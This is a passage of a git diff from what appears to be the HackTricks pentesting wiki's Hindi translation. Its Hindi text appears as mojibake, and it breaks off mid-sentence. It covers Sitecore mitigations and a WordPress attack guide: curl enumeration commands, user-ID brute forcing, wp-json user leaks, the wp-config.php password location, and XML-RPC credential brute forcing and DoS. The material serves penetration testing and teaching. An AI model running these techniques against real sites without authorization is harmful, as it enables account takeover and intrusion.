`/-/xaml/` рдХреА рдирд┐рдЧрд░рд╛рдиреА рдФрд░ rateтАСlimit рд▓рд╛рдЧреВ рдХрд░реЗрдВред +- BinaryFormatter рдХреЛ рд╣рдЯрд╛рдПрдБ/рдмрджрд▓реЗрдВ; convertToRuntimeHtml рддрдХ рдкрд╣реБрдБрдЪ рд╕реАрдорд┐рдд рдХрд░реЗрдВ рдпрд╛ HTML editing flows рдХреА рдордЬрдмреВрддреА рд╕реЗ serverтАСside validation рд▓рд╛рдЧреВ рдХрд░реЗрдВред +- `/sitecore/api/ssc` рдХреЛ loopback рдпрд╛ authenticated roles рддрдХ рд▓реЙрдХ рдбрд╛рдЙрди рдХрд░реЗрдВ; рдРрд╕реЗ impersonation patterns рд╕реЗ рдмрдЪреЗрдВ рдЬреЛ `TotalCount`тАСрдЖрдзрд╛рд░рд┐рдд side channels рдХреЛ leak рдХрд░рддреЗ рд╣реИрдВред +- Content Editor users рдХреЗ рд▓рд┐рдП MFA/least privilege рд▓рд╛рдЧреВ рдХрд░реЗрдВ; cache poisoning рд╕реЗ JS steering рдХреЗ рдкреНрд░рднрд╛рд╡ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП CSP рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВред ## References -- [watchTowr Labs тАУ Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) -- [Sitecore KB1003667 тАУ Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) +- [watchTowr Labs тАУ Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [Sitecore KB1003667 тАУ Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) - [Sitecore KB1003734 тАУ Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 31138c729..712fd55e1 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -2,51 +2,51 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА -- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** рдЗрд╕рд▓рд┐рдП рдЕрдЧрд░ рдЖрдк theme рдХреЗ рдХрд┐рд╕реА php рдХреЛ рдмрджрд▓рдХрд░ RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рд╢рд╛рдпрдж рдЙрд╕реА path рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: Using **theme twentytwelve** рдЖрдк **404.php** рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЗрд╕ рдкрд╛рде рдкрд░ **access** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** рдлрд╝рд╛рдЗрд▓реЗрдВ рдЬрд╛рддреА рд╣реИрдВ: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** рдЗрд╕рд▓рд┐рдП рдЕрдЧрд░ рдЖрдк рдереАрдо рдХреА рдХреБрдЫ php рдмрджрд▓рдХрд░ RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рд╕рдВрднрд╡рддрдГ рдЙрд╕ path рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: Using **theme twentytwelve** рдЖрдк **404.php** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ **access** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- In **wp-config.php** рдЖрдк database рдХрд╛ root password рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред -- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- In **wp-config.php** рдЖрдк рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ root рдкрд╛рд╕рд╡рд░реНрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +- рдЬрд╛рдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд▓реЙрдЧрд┐рди рдкрде: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Main WordPress Files** - `index.php` -- `license.txt` рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ WordPress рдХрд╛ versionред -- `wp-activate.php` рдирдпрд╛ WordPress рд╕рд╛рдЗрдЯ рд╕реЗрдЯрдЕрдк рдХрд░рддреЗ рд╕рдордп email activation рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИред -- Login folders (may be renamed to hide it): +- `license.txt` рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ рдХрд┐ WordPress рдХрд╛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕рдВрд╕реНрдХрд░рдгред +- `wp-activate.php` рдХрд╛ рдЙрдкрдпреЛрдЧ рдирдП WordPress рд╕рд╛рдЗрдЯ рд╕реЗрдЯрдЕрдк рдХреЗ рджреМрд░рд╛рди рдИрдореЗрд▓ activation рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИред +- Login рдлрд╝реЛрд▓реНрдбрд░реНрд╕ (рдЫреБрдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╛рдо рдмрджрд▓реЗ рдЧрдП рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬреЛ WordPress рдХреА рдЙрд╕ рдлрд╝реАрдЪрд░ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИ рдЬреЛ HTTP рдХреЛ transport mechanism рдФрд░ XML рдХреЛ encoding mechanism рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдорд┐рдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╡рд┐рдзрд┐ рдХреЛ WordPress рдХреЗ [REST API](https://developer.wordpress.org/rest-api/reference) рдиреЗ рдмрджрд▓ рджрд┐рдпрд╛ рд╣реИред -- `wp-content` рдлрд╝реЛрд▓реНрдбрд░ рдореБрдЦреНрдп рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдЬрд╣рд╛рдБ plugins рдФрд░ themes рд╕реНрдЯреЛрд░ рд╣реЛрддреЗ рд╣реИрдВред -- `wp-content/uploads/` рд╡рд╣ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдХреЛрдИ рднреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рдВрдЧреНрд░рд╣рд┐рдд рд╣реЛрддреА рд╣реИрдВред -- `wp-includes/` рдпрд╣ рд╡рд╣ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдЬрд╣рд╛рдБ core рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛрддреА рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ certificates, fonts, JavaScript files, рдФрд░ widgetsред -- `wp-sitemap.xml` WordPress versions 5.5 рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░ рдореЗрдВ, Worpress рдПрдХ sitemap XML рдлрд╝рд╛рдЗрд▓ рдЬрдирд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕рднреА public posts рдФрд░ publicly queryable post types рдФрд░ taxonomies рд╣реЛрддреЗ рд╣реИрдВред +- `xmlrpc.php` рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬреЛ WordPress рдХреА рдЙрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИ рдЬреЛ HTTP рдХреЛ transport mechanism рдХреЗ рд░реВрдк рдореЗрдВ рдФрд░ XML рдХреЛ encoding mechanism рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рдЯреНрд░рд╛рдВрд╕рдорд┐рдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ рд╕рдВрдЪрд╛рд░ WordPress [REST API](https://developer.wordpress.org/rest-api/reference) рджреНрд╡рд╛рд░рд╛ рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +- `wp-content` рдлрд╝реЛрд▓реНрдбрд░ рдореБрдЦреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ рдЬрд╣рд╛рдБ plugins рдФрд░ themes рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред +- `wp-content/uploads/` рд╡рд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдХреЛрдИ рднреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВред +- `wp-includes/` рдпрд╣ рд╡рд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ рдЬрд╣рд╛рдБ core рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ, рдЬреИрд╕реЗ certificates, fonts, JavaScript рдлрд╝рд╛рдЗрд▓реЗрдВ, рдФрд░ widgetsред +- `wp-sitemap.xml` WordPress рд╕рдВрд╕реНрдХрд░рдг 5.5 рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░ рдореЗрдВ, Wordpress рд╕рднреА public рдкреЛрд╕реНрдЯ рдФрд░ publicly queryable post types рдФрд░ taxonomies рдХреЗ рд╕рд╛рде рдПрдХ sitemap XML рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред **Post exploitation** -- `wp-config.php` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ WordPress рдХреЛ database рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ database name, database host, username рдФрд░ password, authentication keys рдФрд░ salts, рдФрд░ database table prefixред рдпрд╣ configuration рдлрд╝рд╛рдЗрд▓ DEBUG mode рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ troubleshooting рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +- `wp-config.php` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╡рд╣ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ WordPress рдХреЛ database рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ database name, database host, username рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб, authentication keys рдФрд░ salts, рдФрд░ database table prefixред рдЗрд╕ configuration рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ DEBUG рдореЛрдб рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ troubleshooting рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред ### Users Permissions - **Administrator** -- **Editor**: рдЕрдкрдиреЗ рдФрд░ рджреВрд╕рд░реЛрдВ рдХреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ -- **Author**: рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ -- **Contributor**: рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ рд▓рд┐рдЦрддрд╛ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдкрд░ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ -- **Subscriber**: рдкреЛрд╕реНрдЯ рдмреНрд░рд╛рдЙрдЬрд╝ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдкрдиреА рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ +- **Editor**: рдЕрдкрдирд╛ рдФрд░ рджреВрд╕рд░реЛрдВ рдХреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ +- **Author**: рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ +- **Contributor**: рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ рд▓рд┐рдЦ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЙрдиреНрд╣реЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ +- **Subscriber**: рдкреЛрд╕реНрдЯ рдмреНрд░рд╛рдЙрдЬрд╝ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдкрдирд╛ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ ## **Passive Enumeration** -### **Get WordPress version** +### **WordPress рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** -рдЪреЗрдХ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдлрд╝рд╛рдЗрд▓реЗрдВ `/license.txt` рдпрд╛ `/readme.html` рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ +рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдлрд╝рд╛рдЗрд▓реЗрдВ `/license.txt` рдпрд╛ `/readme.html` рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ -рдкреГрд╖реНрда рдХреЗ **source code** рдХреЗ рдЕрдВрджрд░ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +рдкреЗрдЬ рдХреЗ **source code** рдХреЗ рдЕрдВрджрд░ (рдЙрджрд╛рд╣рд░рдг from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### рдкреНрд▓рдЧрдЗрдиреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ +### Plugins рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -77,41 +77,41 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## рд╕рдХреНрд░рд┐рдп рдЕрдиреНрд╡реЗрд╖рдг +## Active enumeration -### рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдореНрд╕ +### Plugins and Themes -рдЖрдк рд╕рдВрднрд╡рддрдГ рд╕рднреА рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдореНрд╕ рдирд╣реАрдВ рдвреВрдБрдв рдкрд╛рдПрдБрдЧреЗред рдЙрдиреНрд╣реЗрдВ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ Brute Force рдХрд░рдХреЗ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдореНрд╕ рдХреА рд╕реВрдЪреА рдирд┐рдХрд╛рд▓рдиреА рд╣реЛрдЧреА** (рд╣рдореЗрдВ рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдРрд╕реА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд tools рдореМрдЬреВрдж рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдпреЗ рд╕реВрдЪрд┐рдпрд╛рдБ рд╣реЛрддреА рд╣реИрдВ)ред +рдЖрдк рд╕рдВрднрд╡рддрдГ рд╕рднреА Plugins рдФрд░ Themes рдвреВрдБрдв рдирд╣реАрдВ рдкрд╛рдПрдБрдЧреЗред рдЙрдиреНрд╣реЗрдВ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ **actively Brute Force a list of Plugins and Themes** рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рдЦреБрд╢реА рдХреА рдмрд╛рдд рд╣реИ рдХрд┐ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдХреБрдЫ automated tools рдореМрдЬреВрдж рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдпреЗ lists рд╣реЛрддреА рд╣реИрдВ)ред -### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ +### Users -- **ID Brute:** рдЖрдк WordPress рд╕рд╛рдЗрдЯ рд╕реЗ Brute Forcing users IDs рдХреЗ рдЬрд░рд┐рдП рд╡реИрдз рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +- **ID Brute:** рдЖрдк WordPress рд╕рд╛рдЗрдЯ рд╕реЗ рд╡реИрдз users Brute Forcing users IDs рдХреЗ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ **200** рдпрд╛ **30X** рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ id **рдорд╛рдиреНрдп** рд╣реИред рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ **400** рд╣реИ, рддреЛ id **рдЕрдорд╛рдиреНрдп** рд╣реИред +рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ **200** рдпрд╛ **30X** рд╣реИрдВ, рддреЛ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ id **рдорд╛рдиреНрдп** рд╣реИред рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ **400** рд╣реИ, рддреЛ id **рдЕрдорд╛рдиреНрдп** рд╣реИред -- **wp-json:** рдЖрдк users рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП query рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +- **wp-json:** рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд╡реЗрд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -рдПрдХ рдЕрдиреНрдп `/wp-json/` endpoint рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +рдПрдХ рдФрд░ `/wp-json/` endpoint рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Note that this endpoint only exposes users that have made a post. **рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдПрдЧреА рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдпрд╣ рдлреАрдЪрд░ рд╕рдХреНрд╖рдо рд╣реИ**ред +Note that this endpoint only exposes users that have made a post. **рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдПрдЧреА рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдпрд╣ feature рд╕рдХреНрд╖рдо рд╣реИ**ред -Also note that **/wp-json/wp/v2/pages** could leak IP addresses. +Also note that **/wp-json/wp/v2/pages** IP addresses рдХреЛ leak рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- **Login username enumeration**: рдЬрдм **`/wp-login.php`** рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддреЗ рд╕рдордп **рд╕рдВрджреЗрд╢** рдЕрд▓рдЧ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ **username рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ**ред +- **Login username enumeration**: рдЬрдм **`/wp-login.php`** рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддреЗ рд╕рдордп **рд╕рдВрджреЗрд╢** рдЕрд▓рдЧ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ **username рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ**ред ### XML-RPC -рдпрджрд┐ `xml-rpc.php` рд╕рдХреНрд░рд┐рдп рд╣реИ рддреЛ рдЖрдк credentials brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЗрд╕реЗ рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ DoS attacks рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). +рдпрджрд┐ `xml-rpc.php` рд╕рдХреНрд░рд┐рдп рд╣реИ рддреЛ рдЖрдк credentials рдкрд░ brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп resources рдкрд░ DoS attacks рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕ process рдХреЛ [using this](https://github.com/relarizky/wpxploit) рд╕реЗ automate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред -рдпрд╣ рд╕рдХреНрд░рд┐рдп рд╣реИ рдпрд╛ рдирд╣реАрдВ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП _**/xmlrpc.php**_ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдФрд░ рдпрд╣ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ: +To see if it is active try to access to _**/xmlrpc.php**_ and send this request: -**рдЬрд╛рдВрдЪреЗрдВ** +**рдЬрд╛рдБрдЪреЗрдВ** ```html system.listMethods @@ -122,7 +122,7 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses. **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** рдпрд╛ **`metaWeblog.getUsersBlogs`** рдХреБрдЫ рдРрд╕реЗ рдореЗрдердбреНрд╕ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ credentials рдХреЛ brute-force рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдвреВрдВрдврд╝ рдкрд╛рдПрдБ рддреЛ рдЖрдк рдХреБрдЫ рдРрд╕рд╛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ: +**`wp.getUserBlogs`**, **`wp.getCategories`** рдпрд╛ **`metaWeblog.getUsersBlogs`** рдРрд╕реЗ рдХреБрдЫ рддрд░реАрдХреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ brute-force credentials рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк 